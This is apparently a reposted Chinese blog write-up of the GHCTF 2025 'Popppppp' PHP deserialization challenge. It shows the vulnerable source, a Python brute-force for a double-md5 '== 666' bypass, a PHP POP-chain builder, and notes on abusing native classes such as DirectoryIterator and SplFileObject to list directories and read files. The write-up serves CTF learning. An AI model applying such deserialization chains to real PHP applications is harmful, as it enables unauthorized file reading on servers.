当前位置: 首页 > article >正文

[GHCTF 2025]Popppppp[pop链构造] [php原生类的利用] [双md5加密绕过]

题目 

<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    public function __construct($a) {
        $this->fruit1 = $a;
    }

    function __destruct() {
        echo $this->fruit1;
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}

class Forbidden {
    private $fruit3;

    public function __construct($string) {
        $this->fruit3 = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

class Mystery {

    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class Princess {
    protected $fruit9;

    protected function addMe() {
        return "The time spent with xxx is my happiest time" . $this->fruit9;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func . "Me"], $args);
    }
}

class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}

class UselessTwo {
    public $hiddenVar = "123123";

    public function __construct($value) {
        $this->hiddenVar = $value;
    }

    public function __toString() {
        return $this->hiddenVar;
    }
}

class Warrior {
    public $fruit12;
    private $fruit13;

    public function __set($name, $value) {
        $this->$name = $value;
        if ($this->fruit13 == "xxx") {
            strtolower($this->fruit12);
        }
    }
}

class UselessThree {
    public $dummyVar;

    public function __call($name, $args) {
        return $name;
    }
}

class UselessFour {
    public $lalala;

    public function __destruct() {
        echo "Hehe";
    }
}

if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}

这个一开始真没看出来是原生类的利用,光知道call_user_func()了 

一些魔术方法再次复习:

  • __call():当访问不存在的方法时调用
  • __set():当给一个不存在的属性赋值的时候触发
  • __get():当访问不存在的属性的时候调用
  •  __invoke():当把类当作函数调用的时候触发

双重md5加密绕过

 if (md5(md5($this->fruit11)) == 666)

ai写的脚本

import hashlib  #可以进行md5计算(哈希)
import itertools #创建迭代器
def find_collision():
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    for s in itertools.product(chars, repeat=4): 
 # 使用itertools.product函数生成所有可能的长度为 4 的字符串组合,根据计算力调整长度
        s = ''.join(s)
        first_hash = hashlib.md5(s.encode()).hexdigest()
        second_hash = hashlib.md5(first_hash.encode()).hexdigest()
        if second_hash.startswith('666') and not second_hash[3].isdigit():
            return s
    return None

solution = find_collision()
print(f"Payload: {solution}")  # 输出符合要求的字符串

 爆破得 abe2 可以

pop链

CherryBlossom()--->Samurai()--->Warlord()--->Philosopher()--->Mystrey()

__destruct()     __toString()    __call()    __invoke()         __get()

fruit1              fruit6        fruit4      fruit10           
$cb=new CherryBlossom();
$cb->fruit1=new Samurai();
$cb->fruit1->fruit6=new Warlord();
$cb->fruit1->fruit6->fruit4=new Philosopher();
$cb->fruit1->fruit6->fruit4->fruit10=new Mystery();

echo serialize($cb);

利用array_walk():

 array_walk()用于遍历数组并对每个元素执行自定义的回调函数

在这里是:

array_walk($this, function ($day1, $day2) //day1是参数,day2是原生类
{
            $day3 = new $day2($day1);  //实例化类 此时day3应该是数组之类的东西
            foreach ($day3 as $day4) 
              {
                echo ($day4 . '<br>');
               }
});

 遍历类 $this,但是他是一个类不是数组,在php底层会将类转换成数组:

规则如下:

  • 公共属性(public:会被保留,键名为属性名,键值为属性值。

  • 受保护属性(protected:键名前会添加 \0*\0(空字符标记),例如 \0*\0fruit9

  • 私有属性(private:键名前会添加 \0类名\0,例如 \0Forbidden\0fruit3

也就是说这里如果自己设置一个属性,键值和键名都是我们来定义,就用到了php原生类

php常见原生类读取文件

名字作用举例
DirectoryIterator查看文件系统目录(查看目录)DirectoryIterator("/")
FilesystemIterator    基本同上    FilesystemIterator("/")
GlobIterator 可以通过模式匹配来寻找文件路径GlobIterator("f*.txt")[知道文件部分名字]
SplFileObject     文件内容的遍历、查找和操作(查看文件) SplFileObject("/path/to/file.txt")

查看目录用 DirectoryIterator 或者 FilesystemIterator 都行

查看文件用 SplFileObject 

 

 

 


http://www.kler.cn/a/595590.html

相关文章:

  • 香港站群服务器租用应该怎么选?
  • [贪心算法]买卖股票的最佳时机 买卖股票的最佳时机Ⅱ K次取反后最大化的数组和 按身高排序 优势洗牌(田忌赛马)
  • SQL Server 数据库引擎服务实例功能出错的解析与解决方案
  • 使用 Tkinter 编写简单计算器应用
  • 【gradio】Gradio 高级功能:动态界面更新与多页面布局
  • 分享:图片识别改名,能识别图片中的文字并批量改名的工具,用WPF和阿里云来完成
  • VS Code PowerShell、Windows PowerShell、CMD 的区别与联系
  • vllm + litellm + langfuse 启动、代理、监控大模型(国内仓库)
  • C++的常用容器嵌套
  • 前端如何请求后端服务?---------nignx
  • Windows 图形显示驱动开发-WDDM 2.9功能- 支持跨适配器资源扫描 (CASO)(一)
  • 传感器研习社:Swift Navigation与意法半导体(STMicroelectronics)合作 共同推出端到端GNSS汽车自动驾驶解决方案
  • ES、Kibana一键式部署脚本执行文件,外加IK分词器和拼音分词器
  • Flink SQL 技术原理详解
  • 使用 Google Firebase 控制台和 ESP8266 NodeMCU 的物联网控制 LED
  • JavaScript实现一个函数,将数组扁平化(flatten),即把多维数组转为一维数组。
  • Visual Studio Code 连接 SAP ERP 系统
  • SpringBoot实现异步调用的方法
  • 北斗导航 | 北斗三号区域短报文相关知识总结
  • 一份针对零基础学习AI Agent详细学习计划